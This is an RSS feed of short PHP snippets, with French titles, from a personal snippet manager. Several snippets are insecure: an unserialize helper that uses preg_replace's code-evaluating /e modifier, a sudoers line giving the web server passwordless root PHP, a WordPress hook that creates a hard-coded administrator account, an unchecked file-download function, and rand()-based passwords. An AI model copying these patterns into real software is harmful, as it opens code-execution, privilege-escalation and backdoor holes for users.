<![CDATA[Teknotit Snipet Manager tarfst: Snippets: php]]>http://snipet.teknotit.com/index.php <![CDATA[Mulit-byte Unserialize]]> /** * Mulit-byte Unserialize * * UTF-8 will screw up a serialized string * * @access private * @param string * @return string */ function mb_unserialize($string) { $string = preg_replace('!s:(\d+):"(.*?)";!se', "'s:'.strlen('$2').':\"$2\";'", $string); return unserialize($string); } ]]> Thu, 19 Dec 2019 21:27:14 +0000 <![CDATA[améliortion de php7]]> Null Coalesce Operator ]]> Sat, 22 Jun 2019 02:32:08 +0000 <![CDATA[apache exec commande as root]]> sudo visudo =========== www-data ALL = NOPASSWD: /usr/bin/php]]> Thu, 31 Jan 2019 21:39:05 +0000 <![CDATA[Date Diff]]> <?php // Set timezone date_default_timezone_set("UTC"); // Time format is UNIX timestamp or // PHP strtotime compatible strings function dateDiff($time1, $time2, $precision = 6) { // If not numeric then convert texts to unix timestamps if (!is_int($time1)) { $time1 = strtotime($time1); } if (!is_int($time2)) { $time2 = strtotime($time2); } // If time1 is bigger than time2 // Then swap time1 and time2 if ($time1 > $time2) { $ttime = $time1; $time1 = $time2; $time2 = $ttime; } // Set up intervals and diffs arrays $intervals = array('year','month','day','hour','minute','second'); $diffs = array(); // Loop thru all intervals foreach ($intervals as $interval) { // Create temp time from time1 and interval $ttime = strtotime('+1 ' . $interval, $time1); // Set initial values $add = 1; $looped = 0; // Loop until temp time is smaller than time2 while ($time2 >= $ttime) { // Create new temp time from time1 and interval $add++; $ttime = strtotime("+" . $add . " " . $interval, $time1); $looped++; } $time1 = strtotime("+" . $looped . " " . $interval, $time1); $diffs[$interval] = $looped; } $count = 0; $times = array(); // Loop thru all diffs foreach ($diffs as $interval => $value) { // Break if we have needed precission if ($count >= $precision) { break; } // Add value and interval // if value is bigger than 0 if ($value > 0) { // Add s if value is not 1 if ($value != 1) { $interval .= "s"; } // Add value and interval to times array $times[] = $value . " " . $interval; $count++; } } // Return string with times return implode(", ", $times); } ?>]]> Sat, 08 Dec 2018 20:02:30 +0000 <![CDATA[Uniq ID multiple call]]> function uniqidReal($lenght = 13) { // uniqid gives 13 chars, but you could adjust it to your needs. if (function_exists("random_bytes")) { $bytes = random_bytes(ceil($lenght / 2)); } elseif (function_exists("openssl_random_pseudo_bytes")) { $bytes = openssl_random_pseudo_bytes(ceil($lenght / 2)); } else { throw new Exception("no cryptographically secure random function available"); } return substr(bin2hex($bytes), 0, $lenght); }]]> Fri, 25 May 2018 03:17:10 +0000 <![CDATA[Affectation et comparaison]]> if ( false === ( $results = get_transient( 'transient_key_name' ) ) ) { $results = ...; // Do the slow query to get the results here // 60 * 60 is the expiration in seconds - in this case, 3600 seconds (1 hour) set_transient( 'transient_key_name', $results, 60 * 60 ); }]]> Thu, 17 May 2018 03:38:19 +0000 <![CDATA[Passage de php5.3 a php5.4 sur ubuntu 12.04 lts]]> apt-get install python-software-properties add-apt-repository ppa:ondrej/php5-oldstable apt-cache policy php5 ( pour verifier les version disponibles) apt-get install php5]]> Mon, 28 Sep 2015 17:51:35 +0000 <![CDATA[json_encode_unicode php < 5.4]]> function json_encode_unicode($data) { if (defined('JSON_UNESCAPED_UNICODE')) { return json_encode($data, JSON_UNESCAPED_UNICODE); } return preg_replace_callback('/(?<!\\\\)\\\\u([0-9a-f]{4})/i', function ($m) { $d = pack("H*", $m[1]); $r = mb_convert_encoding($d, "UTF8", "UTF-16BE"); return $r!=="?" && $r!=="" ? $r : $m[0]; }, json_encode($data) ); }]]> Tue, 14 Jul 2015 03:54:28 +0000 <![CDATA[Ajout d'un admin worpress via FTP]]> function add_admin_acct(){ $login = 'admin'; $passw = 'passe'; $email = 'tarfst@gmail.com'; if ( !username_exists( $login ) && !email_exists( $email ) ) { $user_id = wp_create_user( $login, $passw, $email ); $user = new WP_User( $user_id ); $user->set_role( 'administrator' ); } } add_action('init','add_admin_acct'); ]]> Fri, 10 Jul 2015 05:49:59 +0000 <![CDATA[Supression repertoire reccursive]]> function rrmdir($dir) { if (is_dir($dir)) { $objects = scandir($dir); foreach ($objects as $object) { if ($object != "." && $object != "..") { if (filetype($dir."/".$object) == "dir") rrmdir($dir."/".$object); else unlink($dir."/".$object); } } reset($objects); rmdir($dir); } }]]> Fri, 14 Nov 2014 18:56:20 +0000 <![CDATA[limiter les spam de formulaire ,un simple check]]> <?php $referer = @$_SERVER['HTTP_REFERER']; preg_match('*.mondomaine.fr.*',$referer,$matche); if(empty($matche)) die('stopper ici'); ?>]]> Thu, 23 Oct 2014 19:52:28 +0000 <![CDATA[Détecter les requette en AJAX]]> function is_ajax_request(){ return !(empty($_SERVER['HTTP_X_REQUESTED_WITH']) || strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) != 'xmlhttprequest'); } ]]> Fri, 17 Oct 2014 06:32:25 +0200 <![CDATA[Utilisation image Gravatars]]> /****************** *@email - Email address to show gravatar for *@size - size of gravatar *@default - URL of default gravatar to use *@rating - rating of Gravatar(G, PG, R, X) */ function show_gravatar($email, $size, $default, $rating) { echo '<img src="http://www.gravatar.com/avatar.php?gravatar_id='.md5($email). '&default='.$default.'&size='.$size.'&rating='.$rating.'" width="'.$size.'px" height="'.$size.'px" />'; } ]]> Fri, 17 Oct 2014 06:29:40 +0200 <![CDATA[Force download - Forcer le download d'un fichier]]> /******************** *@file - path to file */ function force_download($file) { if ((isset($file))&&(file_exists($file))) { header("Content-length: ".filesize($file)); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . $file . '"'); readfile("$file"); } else { echo "No file selected"; } } ]]> Fri, 17 Oct 2014 06:26:43 +0200 <![CDATA[Minimal post slug ]]> function create_slug($string){ $slug=preg_replace('/[^A-Za-z0-9-]+/', '-', $string); return $slug; }]]> Fri, 17 Oct 2014 06:24:39 +0200 <![CDATA[Supression répertoire avec son contenu]]> /***** *@dir - Directory to destroy *@virtual[optional]- whether a virtual directory */ function destroyDir($dir, $virtual = false) { $ds = DIRECTORY_SEPARATOR; $dir = $virtual ? realpath($dir) : $dir; $dir = substr($dir, -1) == $ds ? substr($dir, 0, -1) : $dir; if (is_dir($dir) && $handle = opendir($dir)) { while ($file = readdir($handle)) { if ($file == '.' || $file == '..') { continue; } elseif (is_dir($dir.$ds.$file)) { destroyDir($dir.$ds.$file); } else { unlink($dir.$ds.$file); } } closedir($handle); rmdir($dir); return true; } else { return false; } } ]]> Fri, 17 Oct 2014 06:23:21 +0200 <![CDATA[Tronquer un texte (extrait)]]> function truncate($string, $length = 44, $etc = '...', $break_words = false, $middle = false) { if ($length == 0) return ''; if (strlen($string) > $length) { $length -= min($length, strlen($etc)); if (!$break_words && !$middle) { $string = preg_replace('/\s+?(\S+)?$/', '', substr($string, 0, $length + 1)); } if (!$middle) { return substr($string, 0, $length) . $etc; } else { return substr($string, 0, $length / 2) . $etc . substr($string, - $length / 2); } } else { return $string; } }]]> Fri, 17 Oct 2014 06:08:02 +0200 <![CDATA[Alternative a file_get_content pour les restriction des hébergeurs...]]> function file_get_contents_curl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); $data = curl_exec($ch); curl_close($ch); return $data; }]]> Fri, 17 Oct 2014 06:03:35 +0200 <![CDATA[Supression des espace et des espace en double]]> function clean_trim($str) { // First remove the leading/trailing whitespace $str = trim($str); // Now remove any doubled-up whitespace $str = preg_replace('/\s(?=\s)/', '', $str); // Finally, replace any non-space whitespace, with a space $str = preg_replace('/[\n\r\t]/', ' ', $str); return $str; }]]> Fri, 17 Oct 2014 06:01:39 +0200 <![CDATA[Random String]]> /** * generate_rand * * chaine de caractère aléatoire. * * @param length nombre de caractères */ function generate_rand($length=4) { $chn = ''; for ($i = 1; $i <= $length; $i++) $chn .=chr(floor(rand(0, 25) + 97)); return $chn; }]]> Fri, 17 Oct 2014 05:58:01 +0200 <![CDATA[Chaîne de caractère aléatoire lisible]]> /************** * Générer une chaîne de caractère aléatoire *@length - longueur de chaîne aléatoire (doit être divisible par 2) **************/ function readable_random_string($length = 6){ $conso=array("b","c","d","f","g","h","j","k","l", "m","n","p","r","s","t","v","w","x","y","z"); $vocal=array("a","e","i","o","u"); $password=""; srand ((double)microtime()*1000000); $max = $length/2; for($i=1; $i<=$max; $i++) { $password.=$conso[rand(0,19)]; $password.=$vocal[rand(0,4)]; } return $password; } ]]> Fri, 17 Oct 2014 05:32:44 +0200